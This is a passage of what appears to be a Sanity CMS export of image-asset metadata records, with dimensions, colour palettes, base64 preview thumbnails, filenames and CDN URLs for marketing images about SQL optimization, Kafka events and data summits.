{"_createdAt":"2024-02-15T15:31:01Z","_id":"image-3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35-3200x1168-png","_rev":"UjGmMOs0V2SxB808hz0qEz","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:31:01Z","assetId":"3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D-HKjq{5#UTHSykBjGjtj@jt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.73972602739726,"height":1168,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABxElEQVQokTWR3U7TcBjGt3YtKxvsA2FZxphKPO7v34LMiDGBtd0XEMVDb8Cr8QoUhG0dk7mBxsQDE/UCPDfEhLar12G6jYNfnjd5kyfP+7yxW9ACWAlgw4dCAEsTSE0g6UPi75aQ9oZt2Ri3MsZlo2QMG0XzqpV9/O0oWf3xUqn+PFae/DpWdr6/ULe+tJMxD5YDKPrw0J9pOoCFCageJEavduS960PZuG6lxKBeFBf1++JiqlnjspE0R03VHDUVY9hYEIP6YmS4GkA5gHUfcj4oniAe6kh/tkXi7Zunid1xWzG/HiTFoJ4XfaeC62zSszdwnRXRd5ZwnRSuk8a1M5HhvQAq0ckBZD1Qb0EOQLoxkT+8rsrPxu2E8bm9KAb1nOg7ZVznET17E9cu4Tr5mZmj4dra1NCf9fcgOtmDvAcZHzRf15Xfz01p/+pQNkbNFD2nQNcu07UrdOzKfF6jY6fpWCpdS435s4Tr84SleY/Rc3KBjnazLWTr00FcfGyodOwM51aecyun33FmZfTTmqaf1BT9zFJjISyHsBZC4Z8QqxEhRORDSPkCeddtxIyOHee0JukRJzVJf3/HvqS/mxKPdv8Bt+uur4p4mDQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#325744","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#540415","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#762530","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#74242f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9aa3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e3c45","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#762530","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-window-functions.png","path":"images/sczeoy4w/production/3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35-3200x1168.png","sha1hash":"3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35","size":205466,"uploadId":"v0PhlGVWOHnKzt4W4zly9qOg1tIgL1p5","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35-3200x1168.png"} {"_createdAt":"2024-02-15T15:30:58Z","_id":"image-1050482e5c802aab4650584cb674d6bdc6dc6542-3160x2360-png","_rev":"UjGmMOs0V2SxB808hz0pUO","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:58Z","assetId":"1050482e5c802aab4650584cb674d6bdc6dc6542","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VHC}@7IU0~$yWBrWk9S~ahax0jV@}mT0n+B-Ws#9j;f*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3389830508474576,"height":2360,"width":3160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEA0lEQVQ4jX3SyW8bZRgG8M/bjD0Tezx2PInteb+xncVZGttZmqVJcI23GW8zbuKx3TRpnLVZaBOFlgRa2gRRhBSJAGkRIKQeWlT1QuHChUi9FSEuFReQED0UxFaQ+AuCnFKCBOLwSN/pp+d79SAAQP+XZ8UcGlZKKJFTUSSRRidKk6h3YEjr8zXUCILHKwhCm+DxOP2tbQalXNH8J8IDIORyoa+CAXQzHEFo+wZaSWZQKlfQikqRjOcKpoFwzBzsOsp1BLv4UE+fIxxP1UhK0YRqeR4xPI8EANSIsaYVY02nICAHAPoj0I32a5vR1WEJ2aYqKKmo+rRSMGfkApuSR5lEdsQSS+dt8XTenswVWFFWWSQAPggAGHgAK4/B7sZANfl47f5JAd3rDqJ9oRl93DesmZYUYkZSLOcSWXZBlC2KrNZI+bJFUoqMqKjMAYh4B3ICaDyAqSaMoRULjR1Y4NJCA/l5S0j7bWdQ+2Nnu/bBQKfuzeRx47X0M8yeFGLuSUFqNpchY3LRJMkFSpRVWpRVM1oPeJCDB90RD6YKfk/tXKvXNdfm5Ta7vJb7Ma/xp1FM/Hyqjng4XU/crhyh7p7xsw/PW9nf1inq8vgwEc2VSUkuGEVZraI1aKLfiexOrB9scxs/KnH0lxWOuSXXszeyHPtg0mb+fYmlfn3OYnq0ajXeXWqiP1n1st9tUbZfrurpl6cGn4BKwfQ3GI8KqK4e9D3dmHz9ikC/v4OZyys8szXOMZ+tMPTjdbPx8RJDPpqqI++Ug9Sd8YD16xkX+/28g36pFCGicolMyf8Ae2O9yOV061sCLabcfNpcWh9l47MR6/BE0HLqUrvp7Ws+4tNXOcMXzzsNH0x0mW4XO5lvRr3sDycwvZGP/xsM+XuRi3fqm32tVKbnpPX00JotOzRuPZYWzeELiil2PUUq7/UTi7sB4sL5XtNbK0Hr3otu9v4ljl49HSFiuVL1y4c35HgOuXiXtgE3EomGjGnSv0ipLZPG0tEZYrGwaRg/9wKR2pokItsyGb8oUSNXwuzsbsi2/G47XVhIEslsiRQV9bAhAOiqGwQAwiN4iSaf39DhDWnXfFuaW117mp3oh7qL6q5+ev4ikV6u0Mc3RtiBnRTb/06Cip7JE1KuWAUPGwKAFQAcAFAHABwPPOsGN1nrsaNK3yp6pe06eiNwU7MxtK2byJylCmPzdnV52V5eWTXnx2ZIMXeAVRs+2SEAsACAAaARABoAoB4AjBiwxsW7NHW4TuNxezR9jUPazLESORZdYs6Km7a19GuWcnah2urpqGueguRf7bwAIACADQD0PM9rga+eA+uqbxd2afsGw7pMsmxUpTlaTc3RmdwYLSoHWDUH+J/RtAdtgB3wjQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#645c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3112","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f3112","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#705428","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbc39d","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa8e5c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a47c3c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-index-insert.png","path":"images/sczeoy4w/production/1050482e5c802aab4650584cb674d6bdc6dc6542-3160x2360.png","sha1hash":"1050482e5c802aab4650584cb674d6bdc6dc6542","size":220507,"uploadId":"Fc8dJ4Mv505DQeC54VruurFds5DbrB7B","url":"https://cdn.sanity.io/images/sczeoy4w/production/1050482e5c802aab4650584cb674d6bdc6dc6542-3160x2360.png"} {"_createdAt":"2024-03-28T11:54:53Z","_id":"image-0411035aeacfd492ac91b56dff85e21eccf112e9-2500x1313-jpg","_rev":"Mwja7swPJspBVknlrLntBI","_type":"sanity.imageAsset","_updatedAt":"2024-03-28T11:54:53Z","assetId":"0411035aeacfd492ac91b56dff85e21eccf112e9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6AACM0v#3xa9+%$t1$m11}OQkEp$Z%5J7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904036557501904,"height":1313,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcFBv/EACQQAAIBBAECBwAAAAAAAAAAAAECAwAEBREhBhMSFBUiMlGR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwb/xAAgEQACAgEDBQAAAAAAAAAAAAABAwACEQQSEzFRUmGh/9oADAMBAAIRAxEAPwCPWPpBtoRMu30PFrjmtMLhljPbilLH4kAk1yoY+WQca39VSOi4o3XHl0Ukqd7FUd2cKLu8RmAtfIyq+8HJ2dtHFFF2HUIPczaNKm2bOsxeAcASsB+0ownT2G406+zEOobU4z8E/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4477","foreground":"#fff","population":1.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05046d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9bcc4","foreground":"#000","population":9.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bcc4","foreground":"#000","population":9.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5662c6","foreground":"#fff","population":5.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c94","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2e49","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Meta_image_for_Confluent_TO_Webinar_01.jpg","path":"images/sczeoy4w/production/0411035aeacfd492ac91b56dff85e21eccf112e9-2500x1313.jpg","sha1hash":"0411035aeacfd492ac91b56dff85e21eccf112e9","size":636731,"uploadId":"h5ulOGE2y6JghQC2rxxE4ykL45GtHZP0","url":"https://cdn.sanity.io/images/sczeoy4w/production/0411035aeacfd492ac91b56dff85e21eccf112e9-2500x1313.jpg"} {"_createdAt":"2024-02-13T15:55:41Z","_id":"image-9c17c6248868472c9edfde41e2a17781fe52d587-1200x628-png","_rev":"If5MXS1R4Zj7MKtcdCKl2J","_type":"sanity.imageAsset","_updatedAt":"2024-02-13T15:55:41Z","assetId":"9c17c6248868472c9edfde41e2a17781fe52d587","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCAJaa0]}SAKn3]cB@+?K5w{rpOFrpW?n+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACwklEQVQokT2Q7U8TBwCH7z/YB4HVQUe5vl3vend9Pa49KGW49gYIAsPyIrNT2SilK2ALiCBOtI5tgaiJyRzLXqIxRD9o4lhUlsUYZmJY4gfjv/MY/bAPv69Pnucn1DXl8CinUGPTqPEZ1HgZOTKLO1imOVDGFTiLS16gRVnGo63hDa3jC9WwjIuUOie5lcnyOKvx8jORJ1kV4XDLGLFkiUzvCpneC3Taq3TaF2nrWsNMv9slWtNXSHZtkMpukrKv05a5QX/fNZZHVtj+fIxH3Sb7tpdntoTQKI6T6Jijd3CN7mPfYvdfwu6/TCK9imacQzXOo5lrhK3LxFLfEU/9SLR9k66uHyj2LLLZM8pO1mIvo7Cb0REczaNo8QJWZ4VEuoKZXsTsWEaJVhCVOUSlgltdwquvIkXW8UdqePQakcg6o+1VLnz6JT/bfex0H+GnbB9CfVMOb/A0ulFEM0r/fyiF5vGHqkjhJaTICopxhXDbFiHrBlJsC8O6zonBbZby29Ty17g6scFCbguh3pnDp54mbJaIJGZR47N4gjM4fUWafCWc/nlc8nl84Q0U8yZq8hfk1m1iHb+Tyz9lfukV8wv/USjtk//qGUJd4zCidBI1WkA3viEYK+PTSjR5p2lwFXCIZZzSKqK+hS92C7n1D2TzDlrbbXpGHjNVfc1U9Q0TxQOOn/kX4ZBjELF5GFnOI+lT+PUZQmYFzVigRZ7FJVfxhmr4YzcJGL8RTN4laN1Db79LZuhP8qUD8jMHDJ96Tt/43wiHPjyG2zlAwD+BV5nEoxaIJKtErXN4tbO4g4tI0e/fZyqJd2b30VMPMI48pDv3hPGvX5A7s8/RsT0yQ7sIHzQMUOcYpKHxOPXOcRo+PslH7kkaPdM4xCKH3XO0qFcJGL+iWjvvYdFPdkn37zGUf87I5D4DX/yDPfwX6aMPeQsnAYpohxlNegAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4575","foreground":"#fff","population":1.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4e37","foreground":"#fff","population":8.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#102688","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7188ee","foreground":"#fff","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c8f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4e37","foreground":"#fff","population":8.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka Summit London 24 landing page.png","path":"images/sczeoy4w/production/9c17c6248868472c9edfde41e2a17781fe52d587-1200x628.png","sha1hash":"9c17c6248868472c9edfde41e2a17781fe52d587","size":279391,"uploadId":"eSmoVDGdaRQmAL614dz7W674pDfluPjT","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c17c6248868472c9edfde41e2a17781fe52d587-1200x628.png"} {"_createdAt":"2024-08-22T08:44:16Z","_id":"image-189aeec8d9f243c2082b3a5d841ae3c9cdf73fe7-1200x628-png","_rev":"ndF450ZgZJsxSk7ku2H3A5","_type":"sanity.imageAsset","_updatedAt":"2024-08-22T08:44:16Z","assetId":"189aeec8d9f243c2082b3a5d841ae3c9cdf73fe7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9BV-^0vvzOx[jtJTh}N0kxv-oVqF4$h$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACxUlEQVQokS3Pa0+SCwDA8ecTdCo1TVATEOVwTVBRIBFE8OATAT2BGl4hJRGTOnos6GLF8RLzHC9tbdXWWm3aWrVcrl5UL1qtra160ataWy/6HP+W9QV++/+FP0olqusGqW9OY26ZxNg0SX3LFGbbDC1tF2jzzeH0LdDqu4LdU0BvXURtXkNnu0eT6yFHA0usJkZ5ORPmS74ToVgexdSUwivm8PhzOL1ZPF2zdIh5xMMFgtFlDkorHDyyhj98lYbWpW1Q27KO2fkA0bvCuZ4J7qb6eDjZg1Ba1UOD/QSdgbO4OrPbYId4EX9onkORJQ5FlhGlZbqkVbyBVfbbCtSZVzA57mBxbuA+sES6c5zL4WEygQmEYlmUWsOx7WV9QxpD4yQW+z9YnTls7os4PHls7XM0u+awOOb40zKPsXkNu3cdj3+dofZzLLhDLLiDjDmOIewsO4JM2Y9SN4JKf5wawzi1pgya+im0ltNoG85SV59Doc9SqcmhMv6L1XUD3+FNot2PyIem2fRZ2XA3Md8a+AXKVYPUGI6jNqZQ6lIotGlU+gxq4zRq4wxq/RQa3Uk0ur8xWPK0+e8S7ntO//ALzkQK3P5L5Jang5xzAGFnqUR5dYxqTZx9mhFkqgRl+xLsVSQpV6Wpqj2B1TxGrydOsitOTMwiRTeIjbxhaOwdvd2P6ff+x0D7Il1t1xB27QlRJZeoUfeh0MTZqxiiSD5IkTxOcUWSSmUK0R6nEItwPx3k5sQ4p8Y2GM18JHnqE8Gjr2j2PKHRtYXZtYWwe08QhTxEnTqGSpugXDm8DRb/BCuTVPwGryfCfDjv5fWlOIun75PJfiaT/Yo0+JbGjqeYnFuYWjcRdpSEKCoNUyKLUFLRS5G8j92yn4UJSiqTlFWPY7eM8v+AxOfL7Xy6MsTa7CNmZr8xPfud7sR7rN5nGA88xuB4wA8zjJH9O3zdTgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d447b","foreground":"#fff","population":1.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04156d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3d447b","foreground":"#fff","population":1.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3a6d2","foreground":"#000","population":0.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9c37","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca9","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Retail NXT.png","path":"images/sczeoy4w/production/189aeec8d9f243c2082b3a5d841ae3c9cdf73fe7-1200x628.png","sha1hash":"189aeec8d9f243c2082b3a5d841ae3c9cdf73fe7","size":253342,"uploadId":"y8NpJlxGSzdzkkYT0BWOIdDGoOgTIFoR","url":"https://cdn.sanity.io/images/sczeoy4w/production/189aeec8d9f243c2082b3a5d841ae3c9cdf73fe7-1200x628.png"} {"_createdAt":"2024-03-07T02:19:41Z","_id":"image-7e78d1aa1830ec2f66a6423369dc8c568121d426-1200x628-png","_rev":"oDDEDb680V5VDIizriXaET","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T02:19:41Z","assetId":"7e78d1aa1830ec2f66a6423369dc8c568121d426","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MsQilA{0F|WX#kR4x]V@aeogr?R+oea{j@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACmklEQVQokS3Q/U/MAQDH8e9RGeXxqisrMUwPaxWRETabzRjzsJqux7tdd12nOw/XOaI8yzzENJuNXwxjNvzAhjHMhq6r65SnZaHmJ2Pm9/u8LfoHXnvvbagsDlVNRbZk5EhBrjTUmI62p6EmC3JPRvXjUb0JGkz8qTdxc10c20qycJZv5rjXxSGvk1bnRq44CzBUnoDqkpErEzVmIc8s1JSJfJloRwbakY52WpBvBngSGKoy2F8Sz/rFCwjYrHQGmmj3OrBtWMGm4lQMVUxCnvlobwlqWYqCRWhPPtpfhNqK0aFF6PAi1DIfeRMJl5mozk1g9cIc9tRVcMbn5EhDDWVrSsmZY8GQNQn58lDrKtS2Eu0rRsEC1LoYHVmGjpeiE8vhYD4KzCRUPQ37klQ2ri7Fb69hb50Vf50Ve2Ulm7eUjxYmosa5qLkINRei3bnIn40C2SiYjVpy0YE8aMtDbTl88Bdy3rOV9qMn6Dx1lmO7fLS37KPj3CU6Ll4be2hLQQ1ZYw9HX6Yjtxm5pyHPdOQzw+5U1Gzhx+HldF2/wPPnPTx++JI7V69z//ZdnjwN8ehZL0asLB7VmpEzAzVkIPdM5EpGzqnINRk1TkGjWDAdBcz8aV/Bpwc36OkdIhT+TNfrfsKhD0SiX+jr/4oRK08gZk8j5p79H3SYkS0R2Schx0TkTkLBDHQsGx2dx++OtQzcv0F3+DO90WEib4eJ9o8w8P477z99HwNtFmLOTOSwoNpEVDkOVZtQrQk54pA/BZ3MRWcK+HVhA5F7V3n15iPhvq9Eot+I9I8QHRjh7bthjNhWE6Ootk1AFfGoYhyyGqjKQDUGshnIm/SvTqfz+dmxlvCtyzx7EeVVaJBw5As9fd8IR4bo7hnkL0xDBnWMLt5mAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#281f1b","foreground":"#fff","population":9.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#961e09","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bccd","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbf66","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#967161","foreground":"#fff","population":2.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Data Tech Summit Creative.png","path":"images/sczeoy4w/production/7e78d1aa1830ec2f66a6423369dc8c568121d426-1200x628.png","sha1hash":"7e78d1aa1830ec2f66a6423369dc8c568121d426","size":359362,"uploadId":"ywjfRJa0Lawb8p1Hbx5Ki2FPrCVZxDIl","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e78d1aa1830ec2f66a6423369dc8c568121d426-1200x628.png"} {"_createdAt":"2024-04-17T22:52:13Z","_id":"image-508c9023cf8736407b83d142ee6c7abf5dd2f23f-1200x628-png","_rev":"ajOdr4DX4POKI5xrBVAfQF","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T22:52:13Z","assetId":"508c9023cf8736407b83d142ee6c7abf5dd2f23f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M67BBN~JRgD%WExxk9R%bIoh0L9an~-poG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVUlEQVQokT2SXVMSYRiG9xd0UOKywOLuwu6yyMpnBDJaMGON00Ezmn1azmCJKYKAgKCCWmnmqYf1W6/mfac62HmO9trrvu9VZqPvSGR2KCy2yZYPcRb2MRJ7WMkWtt/DSR/jZMa42Qlu9oKYf4nuTtDiI4Kxgbwh+wQtfoxqHaFo5iaZR00qtQHl6oBCpU++MqS4fErpyTnl6jdK1SvKtRtK1VtSxWvmvClabEgwNiRsnxFxLwg7E0L2KUpAf4ud2iaV38XL7uGmD0jmuuQXRxSXJmRKE1LFKfMPL/DyX4n5F0ScE4JWHy12TMS9RE9cySea/IESsjapVHZ4WmvgZz6hGnVcv8nr9UvqmzeUlybobp+QPSBsj2U8AVONjrzhv4Z64jtzyVsU19+m8WHIeeuM1WcdgmadQqnLzeiOX9e/WV+7QU8MCFpHhOJj2Zlqdpida6Ga3f89hp0pUe8axXC22HjRpVU/Y2Wlh25/xs+12d/+ycnhHavPr7HTI+a8IRFnJLtTjUMJDFo9CdPiwvxUxldm9TekczssPW7LpW1fLLxPYXHIcm1KoTJlvjAm7g+I2H1pKoFGW8LDzlQOIqCaPUYJaBt4zia5XIN08YBEpkk8JW6XZH6Ikx5ieB3C8SaqeYBqtCVMxBYVCCsBFNFVq4fyQF0jHn3JvLeFu9DA9BrS0Fno4CwcEXW7qEaTGb1BIPqFWaMlDYXpv0HEUOIfFB9R7gXWuK+uEQi9IqC/ZybykYBeJ2juollNgqYwaklYILonX1LNnjQSZiKy7NXqypH+APvRYjXkBkcOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353974","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6d","foreground":"#fff","population":11.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6d","foreground":"#fff","population":11.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c2cb","foreground":"#000","population":5.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7881c1","foreground":"#fff","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e9b","foreground":"#fff","population":2.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Customer case event promo image template Dark blue (1).png","path":"images/sczeoy4w/production/508c9023cf8736407b83d142ee6c7abf5dd2f23f-1200x628.png","sha1hash":"508c9023cf8736407b83d142ee6c7abf5dd2f23f","size":218299,"uploadId":"SQLoC091yxHf5BUIGQFvczFXcUu1VEVB","url":"https://cdn.sanity.io/images/sczeoy4w/production/508c9023cf8736407b83d142ee6c7abf5dd2f23f-1200x628.png"} {"_createdAt":"2024-03-07T15:08:22Z","_id":"image-ed814747e2ed138c8c1bed58e34b559e52da4b7d-3880x1610-png","_rev":"TOsxXx20RF0WqO4quZqAvu","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T15:08:22Z","assetId":"ed814747e2ed138c8c1bed58e34b559e52da4b7d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6AU24004T^BRj4TnApY%|t74m-;s;D%WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.409937888198758,"height":1610,"width":3880},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAACd0lEQVQokU2RS08aUQCF7ygERhhkRmAGnQsjiOmmUdS0ERUCAgpUWgQtpSL4Ah+IFWXEWqTEYbCWl6kMYdOFbdNd1923XfQfNF36R9po0qQnOcm3OsmXA2gIAYQQKDA5+BeKooCWou7YZBrsHB4Zk05OWSWO4Do6Gz9SzUWSusfBsMEfWGC8/gA57fbIJqZsUvPImBzQECIQQoQkSUQuQxGVugeh9RDpHzAiMhkKHoxbRKHwkiyTK8jz5QaW4+oEWzhXHbws9mSOC3gmV8DYPCdJ7makT0Jh5e0gStNQyjCMdMA0iBoMRhTSEIUQSrW9WpHFYhVH4wl5nqsoy/WWplwXtBeXbbwqvO9qtK8ljfa16MOXr0gitS9aeBZV3up20TSNPhyfwLz+ecrlfUTeHzErYL8O1ev1onGXTRxaW8ZYjlOWak2qVG0yXLUJucqVlqtcac7evlOU6y1xMpURh8JLSsAwTAdB4Egkti5fSaQGoolNk29jsduQHhbrskMic9KK+tJPlbt8HudqV2Sp2jSWqs17/7WfrwnkydkFEd/YVoPODgBsdhdY29qTrG6m6djWjn7+MI4lfhxhmZ/FvpXPaU3wMIazfIng60IfXxMMfE0w8jWB4WuCjq8JsFxv9Z7yVTKxs0+BIfPo3ZvBcBSJrGxIn68mugKpZdGbX4Km+rs9WvxeMUTS68rtNIuzp5yazXOa7KszVSZXUO5lTxTp7IniBZtXJHcPuhcjMTVweeaAL7gAiueXIHC+CFrgNfD8OQbtm09Y++ajnv/W0Dj9HoXd4SZcsz7COeMlpt0ewuGaIezOGdw+7cbtTjduczgJy6RV9Rc23rREVaDTkQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344c2c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072749","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0eebc","foreground":"#000","population":0.31,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94cc94","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0eebc","foreground":"#000","population":0.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c8454","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cbc7c","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"load-data.png","path":"images/sczeoy4w/production/ed814747e2ed138c8c1bed58e34b559e52da4b7d-3880x1610.png","sha1hash":"ed814747e2ed138c8c1bed58e34b559e52da4b7d","size":326419,"uploadId":"ErxjBwReFrlJP4tHVH61DYQYh5n